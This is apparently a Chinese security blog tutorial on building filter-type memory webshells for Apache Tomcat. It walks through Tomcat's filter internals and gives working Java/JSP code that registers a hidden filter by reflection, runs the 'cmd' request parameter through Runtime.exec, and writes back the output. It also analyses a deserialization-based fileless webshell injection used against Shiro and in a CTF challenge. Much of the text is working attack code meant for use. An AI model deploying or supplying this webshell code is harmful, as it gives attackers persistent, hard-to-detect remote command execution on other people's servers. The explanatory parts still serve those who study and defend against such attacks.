Filter型MemShell
前言
Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。
通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:
- 使用
ServletContext的addFilter/createFilter方法注册; - 使用
ServletContextListener的contextInitialized方法在服务器启动时注册(将会在Listener中进行描述); - 使用
ServletContainerInitializer的onStartup方法在初始化时注册(非动态,后面会描述)。
filter相关变量
filterMaps:存放FilterMap的数组,在FilterMap中主要存放了FilterName和对应的URLPatternfilterDefs:存放FilterDef的数组 ,FilterDef中存储着我们过滤器名,过滤器实例等基本信息filterConfigs:存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息ApplicationFilterChain:调用过滤器链ApplicationFilterConfig:获取过滤器ApplicationFilterFactory:组装过滤器链WebXml:存放web.xml中内容的类ContextConfig:Web应用的上下文配置类StandardContext:Context接口的标准实现类,一个Context代表一个Web应用,其下可以包含多个WrapperStandardWrapperValve:一个Wrapper的标准实现类,一个Wrapper代表一个Servlet
思路
本节只讨论使用 ServletContext 添加 Filter 内存马的方法。
首先来看一下 createFilter 方法,这个方法用来调用 addFilter 向 ServletContext 实例化一个指定的 Filter 类。
这个方法还约定了一个事情,那就是如果这个 ServletContext 传递给 ServletContextListener 的 ServletContextListener.contextInitialized 方法,该方法既未在 web.xml 或 web-fragment.xml 中声明,也未使用 javax.servlet.annotation.WebListener 进行注释,则会抛出 UnsupportedOperationException 异常
接下来看 addFilter 方法,ServletContext 中有三个重载方法,分别接收字符串类型的 filterName 以及 className 字符串/Filter 对象/Filter 子类的 Class 对象三者之一,提供不同场景下添加 filter 的功能,这些方法均返回 FilterRegistration.Dynamic 实际上就是 FilterRegistration 对象。
1 | javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2); |
addFilter 方法实际上就是动态添加 filter 的最核心和关键的方法,但是这个方法中同样约定了 UnsupportedOperationException 异常。
由于 Servlet API 只是提供接口定义,具体的实现还要看具体的容器,那我们首先以 Tomcat 8.5.76 为例,看一下具体的实现细节。相关实现方法在 org.apache.catalina.core.ApplicationContext#addFilter 中
可以看到,这个方法创建了一个 FilterDef 对象,将 filterName、filterClass、filter 对象初始化进去,使用 StandardContext 的 addFilterDef 方法将创建的 FilterDef 储存在了 StandardContext 中的一个名为 filterDefs 的 Hashmap 中,然后 new 了一个 ApplicationFilterRegistration 对象并且返回,并没有将这个 Filter 放到 FilterChain 中,单纯调用这个方法不会完成自定义 Filter 的注册。并且这个方法判断了一个状态标记,如果程序以及处于运行状态中,则不能添加 Filter。
这时我们肯定要想,能不能直接操纵 FilterChain 呢?可以。FilterChain 在 Tomcat 中的实现是 org.apache.catalina.core.ApplicationFilterChain,这个类提供了一个 addFilter 方法添加 Filter,这个方法接受一个 ApplicationFilterConfig 对象,将其放在 this.filters 中。但是没用,因为对于每次请求需要执行的 FilterChain 都是动态取得的。
那 Tomcat 是如何处理一次请求对应的 FilterChain 的呢?在 ApplicationFilterFactory 的 createFilterChain 方法中,可以看到流程如下:
- 在
context中获取filterMaps,并遍历匹配url地址和请求是否匹配; - 如果匹配则在
context中根据filterMaps中的filterName查找对应的filterConfig; - 如果获取到
filterConfig,则将其加入到filterChain中 - 后续将会循环
filterChain中的全部filterConfig,通过getFilter方法获取Filter并执行Filter的doFilter方法。
通过上述流程可以知道,每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要在 StandardContext 中 filterMaps 中添加 FilterMap,在 filterConfigs 中添加 ApplicationFilterConfig。这样程序创建时就可以找到添加的 Filter 了。
在之前的 ApplicationContext 的 addFilter 中将 filter 初始化存在了 StandardContext 的 filterDefs 中,那后面又是如何添加在其他参数中的呢?
在 StandardContext 的 filterStart 方法中生成了 filterConfigs。
在 ApplicationFilterRegistration 的 addMappingForUrlPatterns 中生成了 filterMaps。
filter调用流程:
- 根据请求的
URL从FilterMaps中找出与之URL对应的Filter名称 - 根据
Filter名称去FilterConfigs中寻找对应名称的FilterConfig - 找到对应的
FilterConfig之后添加到FilterChain中,并且返回FilterChain filterChain中调用internalDoFilter遍历获取chain中的FilterConfig,然后从FilterConfig中获取Filter,然后调用Filter的doFilter方法
了解了上述流程后,在应用程序中动态的添加一个 filter 的思路就清晰了:
- 反射获得
Configs,继而获得filterConfigs - 创建
filterDef,通过反射写入filterName、filterClass、filter - 调用
ApplicationContext的addFilterDef方法将filterDef储存在了StandardContext的filterDefs中; - 创建
filterMap对象,通过反射写入URLPattern、FilterName、Dispatcher - 调用
StandardContext的addFilterMapBefore直接加在filterMaps的第一位。 - 反射创建
FilterConfig,传入standardContext与filterDef两个参数进行实例化 - 将
filter名和配置好的filterConifg传入filterConfigs
Filter型内存马
- 是动态注册一个
filter,动态注册,没有实体,重启消失 - 要放在所有
filter前,避免被其他filter干扰 - 在
Tomcat中org.apache.catalina.core.ApplicationContext中包含一个ServletContext接口的实现,所以需要import这个库,最后我们用到它获取Context
1 | <%@ page import = "org.apache.catalina.core.ApplicationContext" %> |
在tomcat不同版本需要通过不同的库引入FilterMap和FilterDef
1 | <!-- tomcat 7 --> |
1 | <!-- tomcat 8/9 --> |
filter型内存马的实现
filter部分
先通过一个简单的filter来看一下结构
1 | package filter; |
init()方法:初始化参数,在创建Filter时自动调用,当我们需要设置初始化参数的时候,可以写到该方法中。doFilter()方法:拦截到要执行的请求时,doFilter就会执行。这里面写我们对请求和响应的预处理destory()方法:在销毁Filter时自动调用
对我们来说,init和destory不需要做什么,只需要写一个doFilter方法拦截需要的请求,将其参数用于Runtime.getRuntime().exec()做命令执行,并将返回的数据打印到Response中即可,如下例:
1 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { |
动态注册部分
接下来是要将刚刚写好的doFilter注入到内存中
根据Tomcat注册Filter的操作,可以大概得到如何动态添加一个Filter
- 获取
standardContext - 创建
Filter - 创建
filterDef封装Filter对象,将filterDef添加到filterDefs - 创建
filterMap,将URL和filter进行绑定,添加到filterMaps中 - 使用
ApplicationFilterConfig封装filterDef对象,添加到filterConfigs中
完整代码主要参照了nice_0e3师傅的文章,在最后结果输出的时候要注意如果有两次response结果需要将第一次的Writer flush掉,避免在后台报错
1 | Field Configs = null; |
Leticia师傅的Filter动态注册部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49 //从org.apache.catalina.core.ApplicationContext反射获取context方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";
//判断是否存在filterDemo这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
//反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
完整内存马
完整Tomcact.Filter内存马
最终jsp文件,只需传到tomcat目录并访问一次,然后再访问其jsp文件../xyz?cmd=whoami即可Leticia师傅的Filter完整内存马
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
反序列化的《基于tomcat的内存 Webshell 无文件攻击技术》分析
这篇文章是三梦师傅写的,是通过反序列化攻击,生成无文件的Filter类型的内存马。
三梦是师傅说无法通杀shiro,也有人说使用6及其以下的tomcat的场景下,payload会报错
我对其中的流程进行梳理和分析一下。
0x01 为了回显:tomcat获取通用的request和response
根据kingkk师傅所述,我们寻找的request和response需要满足以下几点:
- 为了通用性,我们只应该寻找
tomcat部分的代码,和Spring相关的就可以不用看了。 - 记录的变量不应该是一个全局变量,而应该是一个
ThreadLocal,这样才能获取到当前线程的请求信息。 - 而且最好是一个
static静态变量,否则我们还需要去获取那个变量所在的实例
kingkk师傅找到了org.apache.catalina.core.ApplicationFilterChain类
而且很巧的是,刚好在处理我们Controller逻辑之前,有记录request和response的动作。
虽然if条件是false,但是我们可以通过反射进行修改。
这部分在ApplicationFilterChain类的internalDoFilter方法中
这样,回显部分的整体思路大概就是
- 反射修改
ApplicationDispatcher.WRAP_SAME_OBJECT为true,让代码逻辑走到if条件里面 - 初始化
lastServicedRequest和lastServicedResponse两个变量,默认为null - 从
lastServicedResponse中获取当前请求response,并且回显内容。
但是,也存在一点小限制,在其set之前,if语句中先执行完所有的Filter了。filter.doFilter(request, response, this)
因此,对于shiro的反序列化利用就没办法通过这种方式取到response回显了。
0x02 动态注册Filter
这部分是要动态注册一个Filter,并且把其放到最前面。
这样,我们的Filter就能最先执行了,并且也成为了一个内存Webshell了。
要实现动态注册Filter,需要两个步骤。
- 第一步:是先达到能获取
request和response, - 第二步:是通过
request或者response去动态注册Filter
第一步: WRAP_SAME_OBJECT 值为 true
下文的TomcatEchoInject.java实现了获得request、response(其实就是修改 WRAP_SAME_OBJECT 值为 true)CCnoArrayForEcho.java实现了将其修改为字节数组生成payload
其中,TomcatEchoInject.java类中,我们创建一个继承AbstractTranslet(因为需要携带恶意字节码到服务端加载执行)的TomcatEchoInject类,在其静态代码块中反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化。
第二步: 动态注册Filter到tomcat
在使用步骤一生成的序列化数据进行反序列化攻击后,我们就能通过下面这段代码获取到request和response对象了
1 | java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); |
接着,我们要做的就是动态注册Filter到tomcat中
这里可以通过ServletContext对象(实际获取的是ApplicationContext,是ServletContext的实现,因为门面模式的使用,后面需要提取实际实现),实现了动态注册Filter
问题一
但是要注意:在addFilter方法中,因为this.context.getState()在运行时返回的state已经是LifecycleState.STARTED了,所以直接就抛异常了,filter根本就添加不进去。
不过问题不大,因为this.context.getState()获取的是ServletContext实现对象的context字段,从其中获取出state,那么,我们在其添加filter前,通过反射设置成LifecycleState.STARTING_PREP,在其顺利添加完成后,再把其恢复成LifecycleState.STARTE,这里必须要恢复,要不然会造成服务不可用。
其实上面的反射设置state值,也可以不做,因为我们看代码中,只是执行了this.context.addFilterDef(filterDef),我们完全也可以通过反射context这个字段自行添加filterDef。
在实际执行栈中,实际filter的创建是在org.apache.catalina.core.StandardWrapperValve#invoke执行ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);的地方
问题二(有两个小问题)
跟进其实现方法,忽略不重要的代码:
1 | ... |
可以看到,从context提取了FilterMap数组,并且遍历添加到filterChain,最终生效,但是这里有两个问题:
- 我们最早创建的
filter被封装成FilterDef添加到了context的filterDefs中,但是filterMaps中并不存在 - 跟上述一样的问题,也不存在
filterConfigs中(context.findFilterConfig是从context的filterConfigs中获取)
解决:
第一个小问题,其实在下面代码执行filterRegistration.addMappingForUrlPatterns的时候已经添加进去了
1 | javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am); |
1 | //源代码 |
第二个小问题,既然没有,我们就反射加进去就行了,不过且先看看StandardContext,它有一个方法filterStart
1 | public boolean filterStart() { |
没错,它遍历了filterDefs,一个个实例化成ApplicationFilterConfig添加到filterConfigs了。
问题三(优化)
这两个问题解决了,是不是就完成了呢,其实还没有,还差一个优化的地方,因为我们想要把filter放到最前面,在所有filter前执行,从而解决shiro漏洞的问题。
也简单,我们看回org.apache.catalina.core.ApplicationFilterFactory#createFilterChain的代码:
1 | // Add the relevant path-mapped filters to this filter chain |
创建的顺序是根据filterMaps的顺序来的,那么我们就有必要去修改我们添加的filter顺序到第一位了
文件TomcatShellInject.java是整个第二步的实现。和第一个步骤创建的TomcatEchoInject不一样,这里我们不但继承(extends)了AbstractTranslet,还实现(implements)了Filter创建一个我们自定义的内存Webshell,然后再通过字节数组的方式生成payload,在第一个payload打进去之后再打这里生成的payload就可以
三梦师傅改写了ysoserial的源码,我学着改写之后也改写了普通实现的文件并在之前的ctf赛题ezjava的场景下打入成功。
